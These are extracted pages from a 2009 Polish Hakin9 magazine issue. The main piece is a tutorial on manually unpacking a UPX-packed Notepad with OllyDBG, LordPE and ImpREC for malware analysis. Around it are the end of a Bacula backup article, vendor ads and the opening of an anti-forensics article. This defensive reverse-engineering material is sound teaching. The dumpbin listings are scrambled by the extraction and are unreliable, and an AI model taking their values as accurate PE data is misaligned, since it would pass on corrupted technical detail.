środowisk takie działanie nie jest jednak uzasadnione, gdyż z odzyskiwania danych nie korzystamy periodycznie, a incydentalnie – w przypadku awarii lub błędu.
Praca z konsolą administratora
Z poziomu konsoli administratora (narzędzie bconsole) można wykonywać operacje uruchomienia zadania, 60
HAKIN9 4/2009
wykonania kopii danych na żądanie, odzyskania danych oraz całą gamę operacji monitorujących pracę systemu. Poniżej zaprezentowane zostaną przykłady uruchomienia zadania na żądanie oraz odzyskania danych z kopii.(Listing 15) Do wykonania kopii zapasowej danych poza zleconym harmonogramem służy polecenie run konsoli systemu Bacula. Po wydaniu polecenia run pojawia się lista możliwych do uruchomienia zadań. Po wybraniu zadania, gdy pojawi się pytanie OK to run? (yes/mod/ no): , należy wpisać yes. W każdym momencie działania konsoli można wykonać polecenie messages . Służy ono do wyświetlenia komunikatów, jakie przesyłane są przez poszczególne moduły systemu. Komunikaty te mogą być także wysyłane pocztą elektroniczna do administratora (opis konfiguracji obsługi komunikatów ze względu na swoją prostotę został tutaj pominięty). Opuszczenie konsoli następuje przez wydanie polecenia quit . Można to zrobić w dowolnym momencie – nie jest konieczne oczekiwanie na zakończenie wykonywania zadania. Ponowne połączenie do konsoli i wydanie polecenia messages spowoduje wyświetlenie wszystkich komunikatów, jakie zostały wygenerowane od ostatniego wydania tego polecenia. Proces odzyskania danych jest bardziej skomplikowany, a to ze względu na fakt, że nie korzysta się ze zdefiniowanego zadania, co więcej – nie zawsze odzyskuje się wszystkie dane, najczęściej jest to tylko ich pewien podzbiór. Konieczne jest w takim razie określenie danych, które mają zostać odzyskane. Do odzyskania danych służy polecenie restore. W sytuacji przykładowej, gdy dostępny jest tylko jeden moduł Catalog , jest on automatycznie wybierany. Kolejnym krokiem jest wybór trybu odzyskiwania
W Sieci • • •
http://www.bacula.org, http://www.rsnapshot.org, http://www.finkproject.org.
danych. Najczęściej wykorzystywanym jest tryb 5, a więc odzyskanie najnowszej kopii danych.(Listing 16, 17) Po wybraniu trybu pojawi się pytanie o wybór klienta, dla którego dane będą odzyskiwane oraz pytanie o wybór zbioru plików (o ile dla danego klienta zdefiniowano więcej niż jeden), z którego dane mają być odzyskane. Po określeniu tych parametrów zbudowane zostanie drzewo plików znajdujących się w kopii. Administrator zostanie przeniesiony do trybu wyboru plików. W trybie tym można posługiwać się standardowymi poleceniami cd czy ls w celu przeglądania zawartości kopii danych. Polecenie mark służy do określenia plików i katalogów (wraz z podkatalogami), które mają zostać odzyskane z kopii. Polecenie unmark może odznaczyć zaznaczone pliki. Polecenie done powoduje opuszczenie trybu wyboru plików i rozpoczęcie odzyskiwania danych. Po wydaniu polecenia done pojawi się podsumowanie zadania i administrator ma wtedy możliwość określenia dodatkowych parametrów (np. zdecydowania, gdzie dane mają zostać zapisane) i uruchomienia procesu odzyskiwania danych.
Podsumowanie
Przedstawiony opis systemu Bacula nie jest na pewno opisem kompletnym (choćby zważywszy na obszerność samej dokumentacji tego systemu – około 750 stron). Zaprezentowane zostało jedynie przykładowe środowisko wraz z jego konfiguracją. Mam jednak nadzieję, iż opis ten pozwoli zapoznać się wstępnie z tym naprawdę funkcjonalnym systemem i zachęci do jego używania. W celu uzyskania dodatkowych informacji na temat użytkowania i konfiguracji systemu odsyłam do strony internetowej projektu oraz dokumentacji. Marcin Klamra
Specjalista ds. bezpieczeństwa firmy CCNS SA, asystent w Instytucie Teleinformatyki Politechniki Krakowskiej. Od 1999 roku zajmuje się zagadnieniami administracji systemów komputerowych i bezpieczeństwem w sieciach komputerowych. Na stałe związany z firmą CCNS SA, w której zajmuje się rozwiązaniami bezpieczeństwa sieciowego. Jako Certyfikowany Trener WatchGuard Inc. prowadzi szkolenia w Autoryzowanym Centrum Szkoleniowym WatchGuard, stworzonym przez firmę CCNS SA. Swoją wiedzę pogłębia uczestnicząc jako asystent naukowy w pracach badawczych Instytutu Teleinformatyki Politechniki Krakowskiej. Kontakt z autorem: [email protected]
OBRONA 0X0BADDAED
Walka z pakerami Stopień trudności
Analiza złośliwego oprogramowania wymaga często znajomości technik pakowania i zaciemniania kodu binarnego, jakie stosują autorzy malware'u. W tym artykule dowiecie się, w jaki sposób obejść te zabezpieczenia i odpakować program do postaci nadającej się do dalszego badania w deasemblerze.
K
Z ARTYKUŁU DOWIESZ SIĘ jakie techniki stosuje się do pakowania plików binarnych, jak odwrócić ten proces.
CO POWINIENEŚ WIEDZIEĆ znajomość działania systemu Windows, znajomość formatu plików PE, podstawowa znajomość asemblera x86, znajomość debuggera OllyDBG. 62
HAKIN9 4/2009
ażdy, kto miał do czynienia z malware'em, z pewnością spotkał się również ze zjawiskiem pakowania kodu binarnego (ang. runtime packing). Jest to technika takiej zmiany pliku wykonywalnego, przy której zastosowaniu analiza w deasemblerze jest znacznie utrudniona, ale sam program nadal działa poprawnie. Or yginalny kod zostaje spakowany, a do pliku dodany zostaje krótki program wykonujący operację odwrotną. Tym samym w czasie uruchamiania takiej binarki loader Windows najpier w ładuje do pamięci kod pakera i przekazuje mu kontrolę, zaś ten dekoduje właściwy program i wykonuje go. W rzeczywistości sytuacja nie jest taka prosta. Sam fakt spakowania pliku wykonywalnego nie determinuje jego złych zamiarów. Często producenci oprogramowania używają tych samych metod do ukr ycia swojego autorskiego kodu przed analizą (ukr ywanie błędów programistycznych, chronionych patentami algor ytmów, haseł, etc.). Dodatkowo liczba dostępnych pakerów mierzona jest w setkach, jeśli nie w tysiącach, a autorzy złośliwego software'u prześcigają się w wymyślaniu i tworzeniu nowych. Zdarzają się paker y, które rozpakowują kod programu tylko na moment jego uruchomienia, aby po chwili, gdy kod nie jest już używany, spakować go ponownie. Przy tym sprawdzają, czy program nie jest śledzony i, w razie wykr ycia
debuggera, kończą działanie lub wykonują inną zaplanowaną wcześniej akcję (np. spowodowanie restartu maszyny, infekcja systemu etc.). Dziś poznacie kilka podstawowych sposobów na to, jak radzić sobie z pakerami.
Środowisko testowe
Zanim przejdziemy do meritum, warto najpier w nieco się przygotować. Tak samo, jak w artykule Analiza malware z numeru 03/2009 magazynu Hakin9, przydatne okaże się środowisko testowe, w któr ym będziecie mogli swobodnie poeksper ymentować i zdobywać nowe umiejętności. Jednakże na nasze potrzeby nie będziemy tym razem operować na niebezpiecznym kodzie, ponieważ do nauki nie jest to niezbędne. W tym przypadku posłużymy się sprawdzonym oprogramowaniem, dostępnym w każdym komputerze z systemem Windows. Mam na myśli starego, poczciwego Notepada. Tak jak w poprzednim artykule, moje laboratorium składa się z: • • •
stacji z zainstalowanym systemem Linux, oprogramowania VMWare Ser ver w celu zapewnienia wirtualizacji, w pełni zakutalizowanego systemu Windows XP Professional SP3 (pracującego pod VMWare w tr ybie Guest).
TECHNIKI ODPAKOWYWANIA MALWARE'U
Listing 1. Wynik polecenia dumpbin /headers notepad.exe Microsoft (R) COFF/PE Dumper Version 8.00.50727.42 Copyright (C) Microsoft Corporation. Dump of file notepad.exe
250 [ 1000 [
All rights reserved.
0 [ 0 [
PE signature found File Type: EXECUTABLE IMAGE FILE HEADER VALUES 14C 3 48025287 0 0 E0 10F
machine (x86) number of sections time date stamp Sun Apr 13 20:35:51 2008 file pointer to symbol table number of symbols size of optional header characteristics Relocations stripped Executable Line numbers stripped Symbols stripped 32 bit word machine
OPTIONAL HEADER VALUES 10B 7.10 7800 A600 0 739D 1000 9000 1000000 1000 200 5.01 5.01 4.00 0 14000 400 18700 2 8000 40000 11000 100000 1000 0 10 0 7604 B000 0 0 0 1350 0 0 0 18A8
magic # (PE32) linker version size of code size of initialized data size of uninitialized data entry point (0100739D) base of code base of data image base (01000000 to 01013FFF) section alignment file alignment operating system version image version subsystem version Win32 version size of image size of headers checksum subsystem (Windows GUI) DLL characteristics Terminal Server Aware size of stack reserve size of stack commit size of heap reserve size of heap commit loader flags number of directories [ 0] RVA [size] of Export Directory [ C8] RVA [size] of Import Directory [ 8948] RVA [size] of Resource Directory [ 0] RVA [size] of Exception Directory [ 0] RVA [size] of Certificates Directory [ 0] RVA [size] of Base Relocation Directory [ 1C] RVA [size] of Debug Directory [ 0] RVA [size] of Architecture Directory [ 0] RVA [size] of Global Pointer Directory [ 0] RVA [size] of Thread Storage Directory [ 40] RVA [size] of Load Configuration Directory
0 [
D0] RVA [size] 348] RVA [size] Directory 0] RVA [size] 0] RVA [size] Directory 0] RVA [size]
of Bound Import Directory of Import Address Table of Delay Import Directory of COM Descriptor of Reserved Directory
SECTION HEADER #1 .text 7748 1000 7800 400 0 0 0 0 60000020
name virtual size virtual address (01001000 to 01008747) size of raw data file pointer to raw data (00000400 to 00007BFF) file pointer to relocation table file pointer to line numbers number of relocations number of line numbers flags Code Execute Read
Debug Directories Time Type Size RVA Pointer -------- ------ -------- -------- -------48025287 cv 24 000018F0 CF0 Format: RSDS, {506F162C-C6A5-453B-8F9E-DB55AF72CD9B}, 1, notepad.pdb SECTION HEADER #2 .data 1BA8 9000 800 7C00 0 0 0 0 C0000040
name virtual size virtual address (01009000 to 0100ABA7) size of raw data file pointer to raw data (00007C00 to 000083FF) file pointer to relocation table file pointer to line numbers number of relocations number of line numbers flags Initialized Data Read Write
SECTION HEADER #3 .rsrc 8948 B000 8A00 8400 0 0 0 0
name virtual size virtual address (0100B000 to 01013947) size of raw data file pointer to raw data (00008400 to 00010DFF) file pointer to relocation table file pointer to line numbers number of relocations number of line numbers
40000040 flags Initialized Data Read Only Summary 2000 .data 9000 .rsrc 8000 .text
4/2009 HAKIN9
63
OBRONA Dodatkowym oprogramowaniem, jakim posłużymy się przy badaniach, są: • • • • •
•
PEiD – najpopularniejszy identyfikator pakerów, OllyDBG – znany debugger poziomu użytkownika (Ring3), LordPE – narzędzie do manipulacji nagłówkiem plików PE, ImpREC – rekonstruktor tablicy IAT, BinText – narzędzie do wyszukiwania ciągów znakowych w plikach binarnych, dumpbin – program analizujący pliki binarne, część pakietu Microsoft Visual Studio.
Oczywiście, Wasze laboratorium nie musi dokładnie odpowiadać tej konfiguracji.
Rysunek 1. Komunikat debuggera OllyDBG
Rysunek 2. OEP przed rozpakowaniem
Rysunek 3. Skok do OEP 64
HAKIN9 4/2009
Wstępne przygotowania
Na początek obejrzymy sobie or yginalny plik binarny Notepada, aby móc później zaobserwować zmiany oraz wer yfikować nasze domysły. W tym celu zbierzemy kilka informacji o tym programie, wykorzystując dumpbin.exe z pakietu Microsoft Visual Studio. Wynik polecenia znajdziecie na Listingu 1. Jak widać, jest to plik wykonywalny w formacie PE32 pod platformę Windows. Składa się z trzech sekcji, adres pierwszej instrukcji (ang. Entry Point, EP) wynosi 0x739D, co – uwzględniając adres bazowy (ang. Image Base) 0x1000000 – przekłada się na adres bezwzględny 0x100739D. Tego właśnie adresu, czyli tzw. oryginalnego adresu wejściowego (ang. Original Entry Point ,
OEP), będziemy szukać w trakcie rozpakowywania pliku. Naturalnie w rzeczywistości, gdy mamy do czynienia z prawdziwym malware'm, OEP pozostaje nieznany do momentu całkowitego jego rozpakowania. Jednakże dla naszych potrzeb edukacyjnych warto będzie go znać. Teraz spakujemy ten plik jednym z dostępnych publicznie pakerów – UPX. Adres znajdziecie w ramce „Narzędzia”. Uwaga! Warto pracować na kopii or yginalnego Notepada. Wydajemy polecenie: C:\>upx.exe notepad.exe
i po chwili plik jest spakowany. Zobaczmy, jak bardzo się zmienił (Listing 4). Zmianie uległ cały plik. Mamy teraz 3 sekcje ( .rsrc, UPX0, UPX1), a adres wejścia (EP) wynosi 0x1015360. Warto też sprawdzić, czy program się uruchamia oraz jakie ciągi znaków zawiera plik przed i po spakowaniu. Do tego celu warto wykorzystać BinText (patrz Ramka Narzędzia). Jak pewnie zauważyliście, program uruchamia się bez większych problemów, choć zawartość ciągów ASCII jest diametralnie różna. No cóż, sprawdźmy zatem, co stało się z Notatnikiem. Z pomocą przychodzi OllyDBG , do którego załadujemy spakowany plik. Debugger w czasie analizy wyświetli komunikat informujący, że prawdopodobnie plik jest spakowany i dalsza analiza może nie być rzetelna (patrz Rysunek 1). Wybieramy No i lądujemy pod adresem 0x1015360, czyli EP, któr y wcześniej zanotowaliśmy. Teraz powstaje pytanie, co dalej ? Jest kilka sposobów poradzenia sobie z pakerem. Pierwszy, najżmudniejszy, polega na przejrzeniu krok po kroku, co robi paker i wyszukaniu magicznego skoku do or yginalnego EP. Czasami może zająć to sporo czasu, ale w miarę zdobywania większego doświadczenia, proces ten skraca się znacząco. Druga metoda, standardowa, wykorzystuje zmiany adresu stosu, wskazywanego przez rejestr ESP. Wiele pakerów na samym początku
TECHNIKI ODPAKOWYWANIA MALWARE'U kodu zachowuje jeden bądź kilka rejestrów na stosie, aby po zakończeniu rozpakowywania przywrócić pierwotny stan procesora i wykonać skok do OEP. Istnieją inne metody pozwalające na odpakowanie pliku. Wykorzystują one wyjątki, jakie generowane są w czasie pracy pakera, lub cechy architektur y TLB procesorów Intela pozwalające na śledzenie zapisów i wykonywania kodu w pamięci procesu. Ta ostatnia technika jest wykorzystywana m.in. w debuggerze OllyDBG jako plugin OllyBONE autorstwa Joe'go Stewarta (patrz ramka Narzędzia). Metodami tego rodzaju nie będziemy się jednak dziś zajmować. Czas zatem na praktykę.
Rysunek 4. Komunikat błędu przy ładowaniu pliku notepad1.exe
Rysunek 5. Mapa sekcji notepad1.exe
Metoda śledzenia
Zanim przejdziemy do ręcznego rozpakowywania programu, sprawdźmy, co znajduje się pod znanym nam adresem OEP, czyli 0x100739D. W tym celu w oknie CPU wciskamy +G i wpisujemy powyższy adres. Wynik znaleźć można na Rysunku 2. UPX w czasie pakowania wyzerował ten obszar pamięci, przygotowując go do późniejszego zapisania or yginalnego kodu. W oknie Memor y (+M ) zauważymy, że ten obszar leży w pierwszej sekcji – UPX0. Spróbujmy rozpakować ten program. Na początku EP znajdziemy kod: przedstawiony w Listingu 2. UPX zachowuje rejestr y procesora na stosie (przyda się nam to przy metodzie standardowej), do rejestru ESI zapisuje wartość 0x1011000, a do EDI – sumę, a w zasadzie różnicę 0x1011000+0xFFFF0000. W rezultacie rejestr EDI zawiera wartość 0x1001000, która odpowiada adresowi początku sekcji .text or yginalnego pliku (patrz Listing 5). Przez następne kilka ekranów widać, jak paker operuje na tych adresach, odpakowując sukcesywnie cały program, aż do adresu 0x10154EB, w któr ym wykonywany jest skok pod znany nam już adres 0x100739D, czyli OEP (patrz Rysunek 3). Ustawiamy breakpoint na tym adresie (klawisz ) i uruchamiamy program (). Po chwili proces się zatrzymuje i debugger przejmuje kontrolę, ustawiając
Rysunek 6. Zmiana adresu kodu w pliku notepad1.exe Listing 2. Początek kodu pakera 01015360 > 01015361 01015366 0101536C
60 BE 00100101 8DBE 0000FFFF 57
PUSHAD MOV ESI, notepad.01011000 LEA EDI, DWORD PTR DS:[ESI+FFFF0000] PUSH EDI; ntdll.7C910208
Listing 3. Koniec kodu pakera i skok OEP 010154DD 010154DE
61 8D4424 80
POPAD LEA EAX, DWORD PTR SS:[ESP-80]
010154E2 010154E4
6A 00 39C4
PUSH 0 CMP ESP, EAX
010154E6 010154E8 010154EB
^ 75 FA 83EC 80 - E9 AD1EFFFF
JNZ SHORT notepad.010154E2 SUB ESP, -80 JMP notepad.0100739D
Narzędzia Narzędzia wykorzystane w artykule: • • • • • • • • • •
VMWare Server – http://www.vmware.com, PEiD – http://peid.has.it , UPX – http://upx.sourceforge.net , OllyDBG – http://www.ollydbg.de, BinText – http://www.foundstone.com/us/resources/proddesc/bintext.htm, OllyDump – http://www.woodmann.com/collaborative/tools/index.php/OllyDump, OllyBONE – http://www.joestewart.org/ollybone/, LordPE – http://www.woodmann.net/collaborative/tools/index.php/LordPE, ImpREC – http://www.woodmann.com/collaborative/tools/index.php/ImpREC, MS Visual Studio – http://www.microsoft.com/poland/developer/produkty/vstudio/express/ visualc/default.mspx.
4/2009 HAKIN9
65
OBRONA
Rysunek 7. Ustawienie sprzętowego breakpointa
Rysunek 8. Komunikat ImpREC
kursor na wspomnianym adresie. Naciskamy teraz klawisz i jesteśmy w domu (OEP). Zrzucamy następnie proces do pliku notepad1.exe, stosując plugin do OllyDBG o nazwie OllyDump (patrz ramka Narzędzia), pamiętając, aby zaznaczyć opcję Rebuild import . Następnie ładujemy nowo utworzony plik ponownie do debuggera. OllyDBG wyświetli kolejny komunikat (Rysunek 4), tym razem informujący, że Entry Point znajduje się poza obszarem kodu. Gdy naciśniemy OK , proces ładowania zostanie dokończony i po naciśnięciu Notatnik uruchomi się bez problemu. Teoretycznie można by pozostać przy obecnym stanie pliku, ponieważ nasz cel został osiągnięty – program został rozpakowany i działa. Jednakże, dla lepszego zrozumienia tego, co robimy, lepiej pozbyć się tego komunikatu. Gdy spojrzymy na mapę pamięci (+M – Rysunek 5), zauważymy, że sekcja kodu zaczyna się od adresu 0x1011000, czyli początku sekcji UPX1, natomiast nasz EP ma adres 0x100739D i leży poza zakresem UPX1. Musimy zatem wskazać w nagłówku PE właściwe miejsce kodu, a więc sekcję UPX0 o początku pod adresem 0x1001000. Do tego celu wykorzystamy narzędzie o nazwie LordPE. Jest to bardzo przydatny program, pozwalający na manipulację wszystkimi elementami nagłówka pliku PE. Zamykamy debugger i ładujemy plik notepad1.exe do LordPE (przez PE Editor). W polu BaseOfCode zmieniamy wartość na 1000 (patrz Rysunek 6), następnie wybieramy Save i OK, a później Rebuild PE, wskazując ten sam plik notepad1.exe. Jeśli wszystko przebiegło prawidłowo, program załadujemy do OllyDBG bez żadnych problemów. Na mapie pamięci możemy zweryfikować, czy sekcja UPX0 jest oznaczona jako kod. Gratuluję!
Metoda standardowa
Teraz wykonamy tę samą operację rozpakowywania, ale z wykorzystaniem stosu. Ładujemy spakowany UPX-em notepad.exe do OllyDBG. Spójrzmy na instrukcję znajdującą się pod adresem EP:
Rysunek 9. Odnaleziona tablica IAT 66
HAKIN9 4/2009
01015360 >
60
PUSHAD
TECHNIKI ODPAKOWYWANIA MALWARE'U
Listing 4. Informacje o pliku PE po spakowaniu UPX-em Microsoft (R) COFF/PE Dumper Version 8.00.50727.42 Copyright (C) Microsoft Corporation. Dump of file notepad.exe
0 [ 0 [ 0 [
All rights reserved.
0 [
PE signature found File Type: EXECUTABLE IMAGE
154F0 [
FILE HEADER VALUES
0 [ 0 [
14C machine (x86) 3 number of sections
0 [ 0 [
48025287 time date stamp Sun Apr 13 20:35:51 2008 0 file pointer to symbol table 0 number of symbols E0 size of optional header
UPX0 10000 1000 0 400 0 0 0 0 E0000080
Relocations stripped Executable Line numbers stripped Symbols stripped 32 bit word machine OPTIONAL HEADER VALUES 10B magic # (PE32) 7.10 linker version
10000 size of uninitialized data 15360 entry point (01015360)
0 1CE04 16000 0 0 0
base of code base of data image base (01000000 to 0101DFFF) section alignment file alignment operating system version image version subsystem version Win32 version size of image size of headers checksum subsystem (Windows GUI) DLL characteristics Terminal Server Aware size of stack reserve size of stack commit size of heap reserve size of heap commit loader flags number of directories [ [ [ [ [ [
0] RVA [size] 24C] RVA [size] 6E04] RVA [size] 0] RVA [size] 0] RVA [size] 0] RVA [size] Directory
of of of of of of
of Thread Storage of Load Configuration of Bound Import Directory of Import Address Table of Delay Import Directory of COM Descriptor of Reserved Directory
name virtual size virtual address (01001000 to 01010FFF) size of raw data file pointer to raw data file pointer to relocation table file pointer to line numbers number of relocations number of line numbers flags Uninitialized Data Execute Read Write
SECTION HEADER #2
5000 size of code 8000 size of initialized data
40000 11000 100000 1000 0 10
of Debug Directory of Architecture Directory of Global Pointer
SECTION HEADER #1
10F characteristics
11000 16000 1000000 1000 200 5.01 5.01 4.00 0 1E000 1000 0 2 8000
0 [
0] RVA [size] 0] RVA [size] 0] RVA [size] Directory 0] RVA [size] Directory 48] RVA [size] Directory 0] RVA [size] 0] RVA [size] Directory 0] RVA [size] 0] RVA [size] Directory 0] RVA [size]
Export Directory Import Directory Resource Directory Exception Directory Certificates Directory Base Relocation
UPX1 5000 11000 4600 400 0 0 0 0
name virtual size virtual address (01011000 to 01015FFF) size of raw data file pointer to raw data (00000400 to 000049FF) file pointer to relocation table file pointer to line numbers number of relocations number of line numbers
E0000040 flags Initialized Data Execute Read Write SECTION HEADER #3 .rsrc 8000 16000 7200 4A00 0 0 0 0 C0000040
name virtual size virtual address (01016000 to 0101DFFF) size of raw data file pointer to raw data (00004A00 to 0000BBFF) file pointer to relocation table file pointer to line numbers number of relocations number of line numbers flags Initialized Data Read Write
Summary 8000 .rsrc 10000 UPX0 5000 UPX1
4/2009 HAKIN9
67
OBRONA Oznacza to, że paker zachowuje stan rejestrów przed rozpoczęciem rozpakowywania. Tym samym rejestr ESP będzie wskazywał na wierzchołek stosu, pod któr ym zachowany został ostatni rejestr – EDI, co w moim przypadku wynosi 0x7FFA4. Jeżeli w trakcie rozpakowywania kod wykona operację dostępu do tego adresu, może to oznaczać, że paker zaczyna sprzątać po sobie, tj. przywraca stan procesora sprzed EP. A dla nas może to świadczyć o bliskim końcu kodu pakera i r ychłym skoku do or yginalnego OEP. Aby trochę lepiej zrozumieć wstęp teoretyczny, przyjdźmy do praktyki. Naciskamy klawisz i zauważymy, że wartość rejestru ESP uległa zmianie (w moim przypadku, jak wcześniej napomknąłem, wynosi ona 0x7FFA4). Następnie ustawimy na tym adresie breakpoint sprzętowy. Aby to zrobić, prawym klawiszem myszy klikamy wartości rejestru ESP, wybieramy Follow in Dump, następnie w oknie Dump zaznaczamy 4 pierwsze bajty i ustawiamy na nich wspomniany breakpoint (patrz Rysunek 7). Potem uruchamiamy program (). Debugger zatrzyma się natychmiast na adresie 0x10154DE, ponieważ jeden bajt wcześniej mieliśmy instrukcję POPAD, wykonującą operację odwrotną do tej, jaką mieliśmy pod EP, tj. zdjęcie ze stosu wcześniej zachowanych wartości rejestrów. (Listing 3)) Następnie paker umieszcza na stosie 4 x 0x80 bajtów zer (tj. 512) i skacze
do naszego OEP. Aby szybciej dojść do skoku pod adresem 0x10154EB, wystarczy usunąć breakpoint sprzętowy, a za pętlą ustawić zwykły breakpoint, tj. przejść kursorem na 0x10154E8, nacisnąć klawisze oraz , a następnie dwa razy i – jesteśmy w OEP. Dalej cała operacja postępuje tak samo, jak przy pierwszej metodzie. Jednakże w trakcie zrzucania procesu do pliku (notepad2.exe) nie zaznaczajcie opcji Rebuild import , sami odtworzymy importy.
Rekonstrukcja IAT
Na koniec zajmiemy się rekonstrukcją tablicy IAT rozpakowanego pliku. Gwoli przypomnienia –tablica ta zawiera adresy funkcji bibliotecznych importowanych przez program i jest ona wypełniana przez loader Windows w czasie inicjalizacji procesu w pamięci. Więcej informacji na ten temat znajdziecie w dokumencie An In-Depth Look into the Win32 Portable Executable File Format , dostępnym na stronie Microsoftu (http://msdn.microsoft.com/ en-us/magazine/cc301805.aspx). Do tej por y korzystaliśmy z możliwości automatycznej naprawy tablicy IAT, jaką daje plugin OllyDump. Teraz skorzystamy z innego narzędzia o nazwie Import REConstructor (imprec) stworzonego właśnie do tego celu. Po zrzuceniu odpakowanego procesu Notatnika do pliku nie zamykamy debuggera. Będzie on nam potrzebny
Listing 5. Sekcja .text oryginalnego Notepada SECTION HEADER #1 .text name 7748 virtual size 1000 virtual address (01001000 to 01008747) 7800 size of raw data 400 file pointer to raw data (00000400 to 00007BFF) 0 file pointer to relocation table
do rekonstrukcji tablicy. Uruchamiamy ImpREC i wybieramy z listy proces notepad.exe. Następnie w polu OEP wpisujemy odnaleziony adres wejścia (odejmując wcześniej adres bazowy 0x1000000 ), czyli 739D, i naciskamy IAT AutoSearch. ImpREC wyświetli komunikat, że znalazł adres w pamięci, pod któr ym może znajdować się tablica z adresami importów (patrz Rysunek 8). Wybieramy OK i naciskamy Get Imports. W efekcie w oknie Imported Functions Found wyświetli się lista odnalezionych bibliotek i funkcji (Rysunek 9). Dla wer yfikacji, czy wszystkie adresy są prawidłowe, naciskamy Show Invalid. Po tym wszystkim wybieramy Fix Dump i wskazujemy wcześniej zrzucony plik (w moim przypadku notepad2.exe). ImpREC utworzy nowy plik ze znakiem _ na końcu nazwy (notepad2_.exe). Wydawałoby się, że cała operacja była bardzo łatwa do przeprowadzenia. W rzeczywistości paker y potrafią znacząco utrudnić ten proces. Przykładowo do tablicy IAT potrafią wstawić niepoprawne adresy (np. 0xFFFFFFFF ) lub przekierowania w inne miejsce kodu pakera. Możliwe, że sam ImpREC odnalazł nie wszystkie rekordy tablicy. W takich przypadkach trzeba przyjrzeć się ponownie plikowi binarnemu i ręcznie poprawić błędy.
Podsumowanie
Walka z pakerami może być fascynująca, ale z pewnością jest bardzo żmudna i pracochłonna. Liczba możliwości zmian pliku PE jest przeogromna i wynika wprost ze złożoności tego formatu. Niemniej każda metoda pakowania ma słaby punkt, którego nie może wyeliminować – kod programu w pewnym momencie MUSI zostać rozpakowany, aby mógł być uruchomiony. Tego właśnie momentu wyszukuje każdy, kto zajmuje się analizą binarną malware'u, a jego znalezienie jest tylko kwestią czasu.
0 file pointer to line numbers 0 number of relocations 0 number of line numbers 60000020 flags Code Execute Read
68
HAKIN9 4/2009
0x0baddaed
Autor jest niezależnym badaczem. Główne zainteresowania to inżynieria wsteczna, wyszukiwanie błędów w oprogramowaniu Close- i OpenSource, analiza malware'u, niestandardowe techniki przełamywania i obchodzenia zabezpieczeń. Kontakt z autorem: [email protected]
Prenumerata Pro
www.ccns.pl
CCNS
Media Systems
Działalność firmy skoncentrowana jest wokół hasła zapewnienia pełnego bez-
Firma Media Systems oferuje Państwu usługi oparte o rozwiązania systemu
pieczeństwa
Klienta
CashBill.pl i są to: organizacja kam-
w realiach współczesnej gospodarki. Jako Expert Partner firmy WatchGuard
funkcjonowania
panii marketingowych opartych o konkursy SMS’owe, organizacja kampanii
Inc. oferujemy kompleksowe rozwiązania bezpieczeństwa sieci i systemów
reklamowych serwisów internetowych, system płatności elektronicznych po-
informatycznych obejmujące nowoczesne urządzenia typu Unified Thre-
przez karty płatnicze i przelewy. Prócz wymienionych usług oferujemy także
at Management, niezawodny serwis
budowę stron www, sprzedaż domen
i szeroki wachlarz szkoleń.
oraz pozycjonowanie w wyszukiwarkach. Zapraszamy do współpracy.
TTS Company Sp. z o.o. Sprzedaż i dystrybucja oprogramowania komputerowego. Import programów na zamówienie. Ponad 200 producentów w standardowej ofercie. Chcesz kupić oprogramowanie i nie możesz znaleźć polskiego dostawcy? www.OprogramowanieKomputerowe.pl
kontakt do nas: [email protected], tel.: 22 427 36 77
Skontaktuj się z nami - sprowadzimy nawet pojedyncze licencje.
Sokra-NET Działa od roku 2002, specjalizuje się w szeroko pojętym bezpieczeństwie in-
www.sokra.net
formacji. Posiada wykwalifikowany specjalnie do tych celów zespół inżynierów którzy przy współpracy z naszymi klientami maksymalizują bezpieczeństwo danych, audytując i dobezpieczając. Wykonujemy testy penetracyjne, analizy kodów źródłowych, testy wydajnościowe aplikacji i ich środowisk teleinformatycznych. Wdrażamy polityki bezpieczeństwa. Wspomagamy naszych partnerów merytorycznie.
Kei.pl
www.kei.pl
Kei.pl działa na rynku usług hostingowych od 2000 roku. Do naszych zadowolonych Klientów z dumą możemy zaliczyć wiele przedsiębiorstw sektora MSP, instytucji oraz osób prywatnych. W ofercie Kei.pl znajdują się pakiety hostingowe, a także usługi dla wymagających Użytkowników – platformy e-Biznes oraz serwery fizyczne.
PRAKTYKA Zakłócanie śledztwa elektronicznego
GRZEGORZ BŁOŃSKI
Stopień trudności
Anti-forensics – działania mające na celu utrudnienie zdobycia dowodów elektronicznych, wpływanie na ilość oraz jakość tych dowodów, skompromitowanie osoby prowadzącej analizę dowodów cyfrowych. Tak w dużym uogólnieniu może brzmieć definicja tego tajemniczego zwrotu.
W
Z ARTYKUŁU DOWIESZ SIĘ o technikach anti-forensics, o narzędziach anti-forensics.
CO POWINIENEŚ WIEDZIEĆ znać podstawy pracy w systemach Windows i Linux, znać budowę systemów plików. 70
HAKIN9 4/2009
warunkach naszego kraju niezbyt dynamicznie rozwija się informatyka śledcza jednak metody pozwalające na utrudnianie prowadzenia takiego śledztwa są znane także naszym rodakom.Przeciwdziałanie wykrywaniu nielegalnych działań wykonywanych przy użyciu systemów komputerowych jest tak stare, jak same systemy komputerowe i – co bardziej niepokojące – związane z nim techniki rozwijają się cały czas. W bardzo wielu przypadkach podczas śledztw elektronicznych okazuje się, że część dowodów jest niezdatna do użytku lub wręcz nie daje się podczas analizowania materiału dowodowego wyizolować konkretnych elementów mogących definitywnie stanowić niepodważalny dowód konkretnego działania naruszającego prawo. Informatyka śledcza, a więc także specjaliści zajmujący się analizą materiału dowodowego, zmuszeni są niejako do pogłębiania swojej wiedzy nie tylko na temat technik odnajdywania dowodów, ale także sposobów, na jakie dowody są ukrywane czy niszczone. Pragnąc wykonać rzetelnie działania analityczne podczas prowadzenia śledztwa informatycznego, warto wiedzieć, jakimi metodami posługują się ludzie z przeciwnej strony barykady.
Techniki działań anti-forensics
Dawniej skuteczną metodą na usunięcie śladów po dokonaniu na przykład włamania na serwer było usunięcie z logów systemowych informacji mogących ten fakt ujawnić, dziś tego typu środek jest mało skuteczny.
